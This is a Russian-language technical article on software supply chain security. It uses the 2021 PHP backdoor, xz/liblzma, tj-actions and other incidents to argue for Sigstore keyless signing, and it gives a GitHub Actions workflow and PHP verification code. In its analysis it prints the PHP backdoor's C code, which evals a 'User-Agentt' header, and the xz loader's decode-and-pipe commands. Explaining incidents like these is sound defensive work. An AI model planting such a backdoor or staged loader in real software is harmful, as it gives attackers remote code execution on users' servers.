«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия. Composer.. Composer. DevOps.. Composer. DevOps. Fulcio.. Composer. DevOps. Fulcio. github.. Composer. DevOps. Fulcio. github. github actions.. Composer. DevOps. Fulcio. github. github actions. Open source.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor. sigstore.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor. sigstore. slsa.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor. sigstore. slsa. supply chain security.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor. sigstore. slsa. supply chain security. аттестация артефактов.. Composer. DevOps. Fulcio. github. github actions. Open source. Packagist. PHP. Rekor. sigstore. slsa. supply chain security. аттестация артефактов. Информационная безопасность.
«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия - 1

В марте 2021 года в официальный Git-репозиторий PHP прилетели два коммита. Первый назывался невинно — [skip-ci] Fix typo, — а автором значился Расмус Лердорф (создатель языка). Его заметили и откатили — тогда атакующий запушил тот же код повторно, замаскировав коммит под возврат отката (Revert "Revert "[skip-ci] Fix typo"") и подписав его именем Никиты Попова (одного из ключевых разработчиков ядра). Оба коммита добавляли в интерпретатор бэкдор: если в HTTP-запросе присутствовал заголовок User-Agentt со значением, начинающимся на zerodium, PHP выполнял остаток значения этого заголовка — всё после префикса — как PHP-код. Удалённое выполнение кода в каждом, кто обновился бы до этой сборки.

Выглядел бэкдор так — несколько строк, добавленных в функцию php_zlib_output_compression_start() (файл ext/zlib/zlib.c), то есть в путь обработки практически любого HTTP-запроса:

// $_SERVER['HTTP_USER_AGENTT'] — это присланный клиентом заголовок "User-Agentt"
if ((enc = zend_hash_str_find(..., "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
    convert_to_string(enc);
    if (strstr(Z_STRVAL_P(enc), "zerodium")) {
        zend_eval_string(Z_STRVAL_P(enc) + 8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
    }
}

zend_eval_string() — это C-эквивалент пользовательской eval(): строка-аргумент исполняется как PHP-код. + 8 отрезает префикс zerodium (восемь символов), и всё, что шло в заголовке после него, выполнялось на сервере. Комментарий REMOVETHIS: sold to zerodium, mid 2017 атакующий оставил прямо в коде — циничная отсылка к брокеру эксплойтов Zerodium.

Ни Расмус, ни Никита этого не писали. Атака прошла через собственную Git-инфраструктуру PHP — git.php.net: коммиты запушили по HTTPS с парольной аутентификацией, и, скорее всего, утекла база паролей master.php.net — сам сервер, похоже, не взламывали. Поймали случайно: участники сообщества, просматривая уже запушенные коммиты, заметили странный код и спросили прямо под диффом, что тут делает zerodium. Команда PHP сделала выводы и перенесла канонический репозиторий на GitHub, отказавшись от собственной инфраструктуры.

Это удобная отправная точка, потому что в одном маленьком инциденте видны все болевые точки сразу. Доверие к подписи автора (которой не было — коммиты не были подписаны, имя в Author подделывается одной командой). Доверие к инфраструктуре (которую взломали). И главное — то, что между исходниками, которые вы читаете на код-ревью, и артефактом, который реально запускается у пользователя, лежит длинная цепочка, и атаковать можно любое её звено.

Эта статья — про то, как устроены атаки на эту цепочку, почему привычные ответы (GPG, хеши, «ну у нас же HTTPS») закрывают её лишь частично, и какой ответ за последние годы выработала индустрия. Сначала — карта местности (механика атак и модель угроз), затем подпишем и проверим релиз PHP-пакета — в CI и из кода. Кода во второй половине будет много.

Цепочка поставок: пять звеньев, каждое атакуют

«Цепочка поставок ПО» (software supply chain) звучит абстрактно, пока не разложить её на звенья. Возьмём путь обычной зависимости — от мысли разработчика до строчки в вашем vendor/:

разработчик → исходный код (git) → сборка (CI) → артефакт → реестр → ВЫ

Каждый стык — это точка, где артефакт можно подменить, и для каждой есть громкий реальный инцидент.

«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия - 2

Звено 1. Исходный код и тот, кто его пишет

Самый прямой путь — попасть в исходники. Способов два: сломать инфраструктуру (как с git.php.net) или стать тем, кому доверяют.

Второе — это история event-stream (2018). Популярная npm-библиотека (миллионы загрузок в неделю), у выгоревшего мейнтейнера. К нему пришёл доброжелатель, предложил помощь, какое-то время добросовестно поддерживал пакет — и получил права публикации. После чего добавил зависимость flatmap-stream с вредоносным кодом, нацеленным на конкретный криптокошелёк (Copay). Вредонос жил в минифицированном коде опубликованного пакета и активировался только в окружении жертвы. Социальная инженерия против человека, а не против сервера.

Урок звена: «коммит сделал доверенный человек» и «коммиту можно доверять» — разные утверждения. Аккаунты угоняют, мейнтейнеров обманывают, доверие передают.

Звено 2. Сборка: разрыв между исходниками и артефактом

Тут живёт самая коварная атака последних лет — бэкдор в xz/liblzma (CVE-2024-3094, март 2024).

Её гениальность — в том, где прятался вредонос. Канонический Git-репозиторий xz был чист: на любом код-ревью вы видели нормальный код. Но пользователи (и сборочные системы дистрибутивов) скачивают не git-дерево, а release-tarball — отдельный архив, который мейнтейнер генерирует и выкладывает сам. И вот в tarball’е лежал файл build-to-host.m4, которого не было в Git. Во время сборки он раскодировал «испорченный» тестовый файл в скрипт, тот — следующий, и в итоге в liblzma встраивался объектный файл, компрометирующий проверку SSH-ключей на сервере.

Заметил это не аудитор кода, а Андрес Фройнд — инженер, который замерял производительность PostgreSQL и обратил внимание, что вход по SSH стал занимать примерно на полсекунды дольше обычного, а sshd — съедать заметно больше CPU. Потянул за ниточку — и размотал многолетнюю операцию по внедрению «доверенного» мейнтейнера.

Урок звена, и он центральный для всей статьи: то, что вы проверили в git, и то, что собралось и поехало к пользователю, — это не обязательно одно и то же. Если артефакт собирается где-то, куда вы не смотрите, чистота исходников ничего не гарантирует.

Стоит разобрать механику по шагам — она и есть лучшая иллюстрация тезиса «git ≠ tarball»:

  1. build-to-host.m4 — файл-макрос autoconf — лежал только в release-tarball’ах (5.6.0/5.6.1), в git его не было. Он исполнялся на стадии ./configure и искал в дереве «нужный» файл по сигнатуре:

    grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null
  2. Полезную нагрузку несли два файла, замаскированных под тестовые данные декодера: tests/files/bad-3-corrupt_lzma2.xz (нулевая стадия) и tests/files/good-large_compressed.lzma (объектник + зашифрованный код). Для библиотеки-распаковщика бинарный мусор в tests/ — норма, на ревью не цепляет.

  3. Первая стадия извлекалась байтовой подстановкой и распаковкой — и результат уходил прямо в /bin/sh:

    cat tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d
  4. На стадии make скрипт доставал из второго файла ~88 КБ объектного кода и вмерживал его в liblzma, подменив функцию isarch_extension_supported() так, чтобы та вызывала getcpuid() из вредоносного объектника.

  5. getcpuid() оказывался IFUNC-резолвером — он гарантированно исполняется на раннем этапе динамической линковки, ещё до того как GOT/PLT помечаются read-only. Резолвер переписывал GOT, подменяя RSA_public_decrypt, — и в sshd (тянущем liblzma транзитивно через systemd) появлялся обход аутентификации по ключу атакующего.

Ни одной из этих стадий не было видно в git: ревьюер открывал репозиторий и видел чистый код.

«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия - 3

Звено 3. CI/CD: атакуют конвейер

Раз артефакт собирает CI, то компрометация CI — это компрометация артефакта. Показательный случай — tj-actions/changed-files (CVE-2025-30066, март 2025), популярный GitHub Action, использовавшийся в более чем 23 000 репозиториев.

Атакующий скомпрометировал токен бота с правами на репозиторий и сделал страшное: переписал теги версий. Теги v1v45 — все, на которые ссылались чужие workflow, — были задним числом перенаправлены на один вредоносный коммит. Тот сканировал память раннера и выгребал секреты (токены, ключи, PAT) прямо в логи сборки, публично читаемые в открытых репозиториях.

Запомните эту деталь — переписанные теги. Она ниже превратится в конкретное правило защиты.

Урок звена: ваш билд исполняет чужой код (экшены, плагины, образы). Версия @v4 — это не фиксация, это «дай мне то, на что сейчас показывает тег v4», а тег может переехать.

Звено 4. Артефакт и реестр: подмена при доставке

Даже если исходники, сборка и CI чисты, артефакт ещё нужно доставить — через реестр (npm, PyPI, Packagist). Реестр — единая точка, и доступ к нему — это доступ ко всем потребителям.

Классика — ua-parser-js (октябрь 2021): у мейнтейнера угнали npm-аккаунт и опубликовали версии с криптомайнером и трояном для кражи паролей. Пакет с десятками миллионов загрузок в неделю. Через месяц — то же с coa и rc. Не тронули ни строки в Git — просто опубликовали вредоносную версию под доверенным именем.

Сюда же — тайпсквоттинг: пакет reqeusts вместо requests, расчёт на опечатку в composer require.

Урок звена: «скачано из официального реестра под правильным именем» не означает «опубликовано тем, кому вы доверяете, и из того кода, что вы видели».

Звено 5. PHP-специфика

Где во всём этом PHP и Composer? В нескольких чувствительных местах:

  • Скрипты и плагины Composer. post-install-cmd, post-autoload-dump и composer-плагины исполняют произвольный PHP во время composer install — то есть на машине разработчика и на CI. Вредоносная зависимость не ждёт продакшена, она срабатывает при установке.

  • Тайпсквоттинг на Packagist работает ровно так же, как в npm.

  • И ключевое для нашей темы: когда вы делаете composer require, Packagist по умолчанию отдаёт не подписанный мейнтейнером файл, а zipball, который GitHub генерирует из тега на лету. Его содержимое не зафиксировано побайтово и в принципе может меняться. Подписывать «то, что скачает composer» поэтому нечего — нет стабильного артефакта, под которым стоит подпись.

Последний пункт настолько важен (и настолько ограничивает то, что мы сможем сделать в практической половине), что повторю явно и вынесу отдельно.

Сразу честно, без иллюзий. Если вашу библиотеку ставят обычным composer install из Packagist — подпись артефакта пока не поможет. Composer скачивает не подписанный файл, а zipball, который GitHub генерирует из тега на лету; подписывать там попросту нечего. Подпись работает там, где артефакт — конкретный неизменный файл: PHAR, релизные tarball’ы, Docker-образы, внутренние реестры. И она в любом случае полезна как доказательство происхождения — «из какого коммита и каким workflow собрано». Подробно — ниже; пока просто держим это в уме.

Почему привычные ответы закрывают цепочку лишь частично

«Так это же решённая проблема — подписывайте релизы». Давайте посмотрим, почему существующие ответы не стали повсеместными.

GPG-подписи. Технически работают десятилетиями, но для массового потребителя так и не взлетели — и причина в ключах. Их надо сгенерировать, надёжно хранить, не потерять, ротировать, вовремя отозвать. Проверяющему — где-то взять правильный публичный ключ и решить, доверять ли ему (проблема, которую так и не решила «паутина доверия»). В итоге даже там, где подписи есть, их почти никто не проверяет. Показательно, что Packagist за всю историю так и не ввёл обязательную подпись пакетов.

Хеши в lock-файле. composer.lock фиксирует хеш содержимого пакета — и это полезно: гарантирует, что у всех в команде и на CI установится идентичный код. Но хеш отвечает на вопрос «тот же ли это байт-в-байт пакет, что и вчера», а не «кто его создал и можно ли ему доверять». Если первая же установка тянет скомпрометированную версию, lock честно зафиксирует её хеш.

composer audit и базы advisory. Незаменимая вещь, но про другое: они сверяют ваши зависимости с базой известных уязвимостей (CVE). С происхождением пакета это никак не связано: audit поймает известную дырявую версию, но не скажет, кто и из чего собрал пакет, и не заметит свежий бэкдор, которого ещё нет в базах.

«У нас HTTPS и фиксированные теги». HTTPS защищает канал в момент скачивания — от подмены по дороге, но не от того, что в реестре уже лежит вредоносная версия. А теги, как показал tj-actions, переезжают.

Ни один из этих механизмов не плох — просто каждый закрывает свой узкий участок. Не хватает того, что связывает артефакт с его происхождением проверяемым образом и не требует от каждого мейнтейнера возиться с ключами.

Ответ индустрии: Sigstore и подпись без ключей

Этот ответ оформился вокруг проекта Sigstore (под крылом Linux Foundation; им пользуются npm, PyPI, Kubernetes, Homebrew). Идея — убрать из подписи то, обо что она спотыкалась: долгоживущие ключи.

Звучит парадоксально: подпись без ключа. На деле ключ есть — он просто живёт минуты и нигде не хранится. Вот как подписывается артефакт в GitHub Actions (а это самый массовый сценарий):

  1. CI-джоба просит у GitHub OIDC-токен — JWT, в котором GitHub удостоверяет: «этот токен выдан workflow attest.yml репозитория acme/app на теге 1.2.3».

  2. На раннере генерируется одноразовая пара ключей — приватный живёт только в памяти джобы и исчезает вместе с ней.

  3. Fulcio (центр сертификации Sigstore) меняет OIDC-токен на X.509-сертификат сроком ~10 минут. В сертификат вшита identity из токена — URL workflow и ref.

  4. Артефакт (точнее, утверждение о нём) подписывается эфемерным ключом.

  5. Подпись публикуется в Rekor — публичном, неизменяемом журнале прозрачности.

  6. Сертификат + подпись + запись Rekor пакуются в self-contained “bundle”.

«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия - 4

Три идеи, которые тут стоит разглядеть.

Identity вместо ключа. Сертификат удостоверяет не «Васю с таким-то ключом», а конкретный workflow конкретного репозитория на конкретном ref. Проверяющему не нужно добывать и доверять ничьему публичному ключу — он формулирует политику в терминах «подписано workflow attest.yml репозитория acme/app». Это и человекочитаемо, и не требует управления ключами.

Что именно «удостоверяет workflow» — стоит увидеть предметно. CI-джоба получает от GitHub OIDC-токен (JWT), и в его payload — не человек, а контекст запуска:

{
  "iss": "https://token.actions.githubusercontent.com",
  "aud": "sigstore",
  "sub": "repo:k2gl/dsse:ref:refs/tags/1.1.1",
  "repository": "k2gl/dsse",
  "workflow_ref": "k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1",
  "ref": "refs/tags/1.1.1",
  "sha": "d9716be40f51e2bc32f6328a4f1830dd12156a45",
  "event_name": "push",
  "runner_environment": "github-hosted"
}

Дальше Fulcio убеждается, что токен и правда выдал GitHub, и переносит эти поля в сам сертификат — в специальные расширения X.509 (Sigstore выделил под них свою OID-ветку 1.3.6.1.4.1.57264.1.*: туда попадают репозиторий, workflow, способ запуска сборки). А самое главное — идентичность сборщика — записывается в поле SAN сертификата как обычный URL:

SAN (URI): https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
issuer:    https://token.actions.githubusercontent.com

Вот это и есть «ключ» новой модели: не «Вася с отпечатком GPG», а «workflow attest.yml репозитория k2gl/dsse, запущенный по тегу 1.1.1». Проверяющая политика формулируется ровно в этих терминах — к ней вернёмся в практической половине.

Доверие смещается, а не исчезает. Важно быть честным: «нет ключей ни у кого» — неправда. Ключи есть у Fulcio, у Rekor, у корня доверия (его распространяет TUF — The Update Framework). Вы не избавились от доверия — вы сменили его адрес: вместо «доверяю GPG-ключу мейнтейнера» теперь «доверяю тому, что GitHub честно выдаёт OIDC-токены, а Fulcio и Rekor работают как заявлено». Это осознанный размен: доверенных сторон стало больше, но все они — публичная, наблюдаемая инфраструктура, а не приватный ключ в ноутбуке, который теряют и крадут.

Прозрачность как сдерживание. Rekor — журнал только-на-дозапись, как Certificate Transparency для TLS. Подпись нельзя сделать «тихо»: она становится публичной и неудаляемой записью. Для мейнтейнера это бесплатная сигнализация — если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно всем. Атакующий с полным контролем над репозиторием не может подписать незаметно.

Модель угроз: что подпись ловит, а что нет

Самое вредное, что можно сделать с подписью, — поверить, что она защищает от всего. Поэтому разложим честно. Подпись артефакта (build provenance — «доказательство сборки») утверждает ровно одно: «этот артефакт собрал вот этот workflow из вот этого коммита». Это происхождение, а не безвредность.

Атака

Поймает?

Почему

Подмена артефакта после сборки (реестр, зеркало, MITM)

Цифровая подпись не сойдётся с изменёнными байтами

Сборка «такого же» пакета на чужой машине

У атакующего нет OIDC-токена вашего репозитория — identity в сертификате будет чужой

Публикация под чужим именем из форка/другого workflow

Политика проверки требует конкретный репозиторий и workflow

Откат на старую уязвимую версию с её настоящей подписью

⚠️

Только если политика привязана к ожидаемой версии (пину тега); иначе старая версия пройдёт со своей валидной подписью

Вредоносный коммит попал в main, релиз собран из него

❌ детект / ✅ улика

Подпись валидна (происхождение настоящее!), но в Rekor навсегда зафиксировано, какой коммит и какой workflow это собрали

Скомпрометирован сам signing-workflow (через чужой экшен)

Любая джоба с правом подписи под вашей identity подпишет что угодно — поэтому к safety самого workflow требования жёсткие (см. ниже)

Угнан аккаунт мейнтейнера, релиз тегают «легально»

❌ детект / ✅ улика

Подпись настоящая; защита — на уровне доступа (ниже) и мониторинга журнала

Из таблицы не нужно делать вывод «подпись бесполезна против половины атак». Вывод другой: подпись закрывает самый длинный и незаметный участок — всё, что происходит с артефактом после коммита (сборку, упаковку, доставку, хранение). То, что было до коммита — кто и что влил в репозиторий, — это уже другая защита.

В стандарте SLSA эти две зоны так и разделяют: защита исходников и защита сборки. Подпись артефакта — про сборку. Она не отменяет защиту кода, но делает её проверяемой потом: без провенанса после инцидента вы только разводите руками («это не мы, это зеркало подменило»), а с ним — у вас доказательство, какой коммит и какая сборка выпустили заражённый файл.

Хорошая новость: бóльшая часть защиты исходников — не криптография, а гигиена доступа, и включается парой галочек: защищённая ветка main (только через PR с ревью), 2FA у всех с доступом, сторонние экшены по commit SHA вместо тега (помните переписанные теги tj-actions? SHA так не переедет), минимум прав у токенов и OIDC вместо вечных секретов. Конкретный YAML соберём ниже.

Где это уже работает — и при чём тут PHP

Это не теория из будущего. npm показывает бейдж provenance у пакетов, собранных в публичном CI. PyPI с конца 2024-го генерирует Sigstore-аттестации (PEP 740) по умолчанию — для пакетов, публикуемых через Trusted Publishing (OIDC вместо вечных токенов). Homebrew подписывает все свои bottles. Экосистемы Go, Rust, JS, Python, Ruby имеют официальных Sigstore-клиентов.

И это уже не только добрая воля реестров — за безопасность ПО взялись государства, и разработчику всё чаще нужно доказывать, из чего и как собран его продукт. США (указ EO 14028) требуют от поставщиков ПО для госорганов подписанную гарантию, что разработка велась безопасно. Евросоюз (Cyber Resilience Act) с 2027 года обязывает прикладывать к любому продукту с цифровой начинкой машиночитаемый состав — SBOM — и держать под контролем всю цепочку поставок, под крупные штрафы. Слова «Sigstore» в законах нет, но подпись и провенанс — самый практичный способ выполнить эти требования.

Тренд один: доверие смещается от долгоживущих ключей и токенов к keyless-подписи через OIDC, а provenance из опции превращается в дефолт на стороне реестра — SBOM и аттестация всё чаще идут в паре.

А PHP? Долгое время — пусто: ни верификатора Sigstore-бандлов, ни моделей аттестаций. Кое-что было (например, php-tuf — клиент TUF, выросший из нужд Drupal/Composer), но именно проверки Sigstore-подписей на чистом PHP не существовало. Дальше — закроем эту нишу руками.

Практика: к концу — одна команда

Подпишем релиз PHP-пакета в GitHub Actions (минимальная подпись — ~38 строк YAML, ноль секретов, ~10 секунд; показанный ниже полный workflow добавляет ещё публикацию артефактов и самопроверку), выложим подписанный артефакт и проверим его — и эталонным gh, и из PHP-кода. К концу вы получите вот это:

$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl 
    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1
    
VERIFIED
subject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)
predicate: https://slsa.dev/provenance/v1    

Чистый PHP подтвердил: этот tarball собрал workflow attest.yml репозитория k2gl/dsse из тега 1.1.1, подпись настоящая, запись в журнале прозрачности на месте, а байты на диске — ровно те, что подписаны. Одной командой; а с локально сохранённым корнем доверия (--trusted-root) — полностью оффлайн, к этому вернёмся.

Всё, что ниже, прогнано на настоящем релизе — k2gl/dsse 1.1.1, подписанном в GitHub Actions. И отдельно: верификатор, которым мы будем пользоваться, проходит официальный sigstore-conformance — тот же тестовый набор, которым проверяют себя sigstore-go и sigstore-python — в полном объёме (v0.0.29, 134 verification-кейса), и этот прогон встроен в его CI.

Пять терминов, чтобы дальше читалось без сносок:

Термин

Одной строкой

Fulcio

центр сертификации Sigstore: меняет OIDC-токен на сертификат на ~10 минут с вшитой identity сборщика

Rekor

публичный неизменяемый журнал прозрачности: туда попадает каждая подпись

DSSE

формат конверта, в котором лежит и подписывается полезная нагрузка (тут — аттестация)

in-toto / SLSA provenance

стандартная структура «что за артефакт и как он собран» внутри конверта

trusted root

набор корневых ключей Fulcio/Rekor; распространяется через TUF, против него идёт вся проверка

Путь подписи: OIDC-токен → эфемерный ключ в памяти раннера → сертификат Fulcio → подпись DSSE → запись в Rekor → bundle. Проверка идёт в обратную сторону.

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подписываем релиз: один workflow

GitHub умеет всю описанную выше механику из коробки — фича называется Artifact Attestations. Для публичных репозиториев подпись идёт через публичный инстанс Sigstore бесплатно. Вот полный workflow, который подписывает релизы во всех моих репозиториях. Он не игрушечный — это рабочий attest.yml после прохождения аудита, поэтому в нём важны детали:

name: Attest

on:
  push:
    tags: ['[0-9]*.[0-9]*.[0-9]*']

permissions:
  contents: read

jobs:
  attest:
    name: Build provenance
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      attestations: write
      contents: read

    steps:
      - name: Checkout
        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
        with:
          persist-credentials: false

      - name: Build release tarball
        run: |
          tarball="dsse-${GITHUB_REF_NAME}.tar.gz"
          git archive --format=tar.gz --prefix="dsse-${GITHUB_REF_NAME}/" --output="${tarball}" "${GITHUB_SHA}"
          echo "tarball=${tarball}" >> "$GITHUB_ENV"

      - name: Attest build provenance
        uses: actions/attest-build-provenance@a2bbfa25375fe432b6a289bc6b6cd05ecd0c4c32 # v4.1.0
        with:
          subject-path: ${{ env.tarball }}

      - name: Download attestation bundle
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh attestation download "${tarball}" --repo "${GITHUB_REPOSITORY}"
          mv sha256:*.jsonl "${tarball}.sigstore.jsonl"

      - name: Hand off signed artifacts
        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: signed-release
          path: |
            *.tar.gz
            *.sigstore.jsonl
          if-no-files-found: error

  release:
    name: Publish release assets
    needs: attest
    runs-on: ubuntu-latest
    permissions:
      contents: write

    steps:
      - name: Fetch signed artifacts
        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
        with:
          name: signed-release

      - name: Create release with assets
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release create "${GITHUB_REF_NAME}" 
            --repo "${GITHUB_REPOSITORY}" 
            --verify-tag 
            --title "${GITHUB_REF_NAME}" 
            --generate-notes 
            *.tar.gz *.sigstore.jsonl 
          || gh release upload "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" --clobber *.tar.gz *.sigstore.jsonl

  verify:
    name: Verify published release
    needs: release
    runs-on: ubuntu-latest
    permissions:
      contents: read

    steps:
      - name: Download release assets
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release download "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" 
            --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'

      - name: Verify attestation (online)
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}"

      - name: Verify attestation (offline bundle)
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}" --bundle *.sigstore.jsonl

Разберём решения — каждое из них следствие модели угроз из первой половины.

Триггер только на релизные теги. tags: ['[0-9]*.[0-9]*.[0-9]*'] — подпись чеканится исключительно при пуше версионного тега. Никаких workflow_dispatch и tags: ['*']: кто может создать релизный тег, тот может выпустить подписанный релиз, и сужать это право критично (к нему вернёмся в чек-листе).

Секретов нет. id-token: write разрешает джобе получить OIDC-токен; Fulcio обменяет его на короткоживущий сертификат. Приватный ключ генерируется в памяти раннера и умирает с джобой — красть нечего.

Минимальные права, по джобам. Вверху contents: read — дефолт для всего workflow. Право на запись (contents: write, нужное для создания релиза) есть только у джобы release, а право подписи (id-token/attestations: write) — только у attest. Скомпрометируй злоумышленник шаг сборки — у него всё равно нет прав публиковать. Финальной же verify-джобе хватает contents: read: аттестации публичного репозитория отдаются даже анонимно, отдельное разрешение на их чтение не нужно.

Экшены запинены по commit SHA. actions/checkout@df4cb1c0… вместо @v6. Помните переписанные теги tj-actions выше? SHA подменить нельзя. Комментарий # v6.0.3 рядом — чтобы человек видел версию. (Да, это first-party экшены GitHub, которым доверия больше, — но правило должно быть единым, иначе оно не правило.)

git archive, не «архив папки». Tarball собирается из git-объектов конкретного коммита — детерминированно и без мусора рабочей копии. export-ignore в .gitattributes вырезает тесты и CI-конфиги, так что подписываем ровно dist. Оговорка: «детерминированно» не значит «байт-в-байт воспроизводимо в любой среде» — формат архива может зависеть от версий git/gzip. Именно поэтому подписанные байты надо публиковать, а не надеяться сгенерировать их заново.

Подписанные байты выкладываются в релиз. Это тот пункт, без которого вся затея — театр: артефакт из Actions живёт 90 дней и требует логина. Джоба release прикладывает к GitHub Release и tarball, и его бандл (*.sigstore.jsonl) — теперь их может скачать кто угодно и когда угодно. Хвост || gh release upload --clobber делает джобу идемпотентной: ре-ран на существующем релизе не падает, а перезаливает ассеты.

Пайплайн проверяет сам себя. Финальная джоба verify скачивает опубликованный релиз и прогоняет gh attestation verify дважды: с аттестацией из API GitHub и по бандлу-файлу из ассетов релиза — оба пути доставки проверены. Это и проверка, что мы ничего не сломали, и постоянный смоук-тест подписи на каждом релизе.

Скачивается аттестация одной командой:

$ gh attestation download dsse-1.1.1.tar.gz --repo k2gl/dsse
Wrote attestations to file sha256:7a719ac2…9f7ba.jsonl

Внутри — Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json): сертификат Fulcio, DSSE-конверт с подписанным in-toto Statement и запись Rekor с inclusion proof. Всё для проверки — в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Верифицируем из PHP

«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия - 7

Сразу прозрачно: пакеты, на которых всё показано ниже, — мои, я их мейнтейню. Это не оговорка, а причина показывать именно на них — вы видите рабочий стек на боевом релизе, а не псевдокод. Контекст простой: официального Sigstore-клиента для PHP не существует (для Go, Python, JS, Rust, Java, Ruby — есть; для PHP был php-tuf, но это TUF-клиент, а не верификатор Sigstore-подписей). Эту нишу и закрывает стек k2gl/*.

Ставится он, само собой, через composer require — как sigstore-python через pip; гарантия тут не в канале, а в том, что код открыт и сам пакет подписан тем же механизмом, что мы проверяем.

Самый быстрый путь — CLI

Пакет везёт бинарь без зависимостей. Это то, что вставляется в пайплайн одной строкой:

$ composer require k2gl/sigstore-verify
$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl 
    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1
VERIFIED
subject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)
predicate: https://slsa.dev/provenance/v1

Код возврата 0 — проверено; любая проблема печатает причину и возвращает 1. --trusted-root path делает прогон полностью оффлайн; для не-GitHub подписантов есть --san/--issuer. JSON Lines с несколькими бандлами тоже понимает (успех, если верифицируется хотя бы один).

Из кода — с типизированным провенансом

Когда нужно проверять артефакт внутри приложения (маркетплейс плагинов, самообновление, приём загружаемых модулей), а не в шелле, — то же самое из PHP:

<?php

declare(strict_types=1);

require __DIR__ . '/vendor/autoload.php';

use K2glInTotoStatement;
use K2glSigstoreBundle;
use K2glSigstoreIdentityPolicy;
use K2glSigstoreSigstoreVerifier;
use K2glSigstoreSubjectPolicy;
use K2glSigstoreTrustedRoot;
use K2glSlsaProvenance;

$artifact = 'dsse-1.1.1.tar.gz';

// `gh attestation download` writes JSON Lines: one Sigstore bundle per line.
$lines = file('dsse-1.1.1.tar.gz.sigstore.jsonl', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$bundle = Bundle::fromJson($lines[0]);

// Fetch the Sigstore public-good trusted root via TUF — the only network call here.
$trustedRoot = TrustedRoot::fromSigstorePublicGood();

// Who must have signed: this repository's attest.yml workflow on this release tag.
$identity = IdentityPolicy::githubActions(
    repository: 'k2gl/dsse',
    workflow: 'attest.yml',
    ref: 'refs/tags/1.1.1',
);

// What must have been signed: this exact file.
$subject = new SubjectPolicy('sha256', hash_file('sha256', $artifact));

$envelope = (new SigstoreVerifier)->verify(
    bundle: $bundle,
    trustedRoot: $trustedRoot,
    identityPolicy: $identity,
    subjectPolicy: $subject,
);

// The payload is authenticated now — model it with the typed packages.
$statement = Statement::fromEnvelope($envelope);
$provenance = Provenance::fromStatement($statement);

echo "VERIFIEDn";
echo 'builder: ' . $provenance->runDetails->builder->id . "n";
echo 'commit:  ' . $provenance->buildDefinition->resolvedDependencies[0]->digest['gitCommit'] . "n";
$ php verify.php

VERIFIED
builder: https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
commit:  d9716be40f51e2bc32f6328a4f1830dd12156a45

Три объекта в этом коде несут всю суть.

TrustedRoot — единственный поход в сеть. fromSigstorePublicGood() один раз скачивает доверенные корневые ключи Sigstore через TUF-клиент (k2gl/tuf): тот проходит цепочку метаданных root → timestamp → snapshot → targets и проверяет подписи на каждом шаге. Это единственное место, где код вообще ходит в сеть. Хотите полный оффлайн — один раз сохраните trusted_root.json и грузите TrustedRoot::fromJson(); сам верификатор в сеть не ходит никогда. Только учтите: устаревший или подменённый trusted root тихо обесценивает всю проверку — поэтому его и обновляют через TUF.

IdentityPolicyкто подписал. Сертификат Fulcio удостоверяет не человека, а workflow:

SAN:    https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
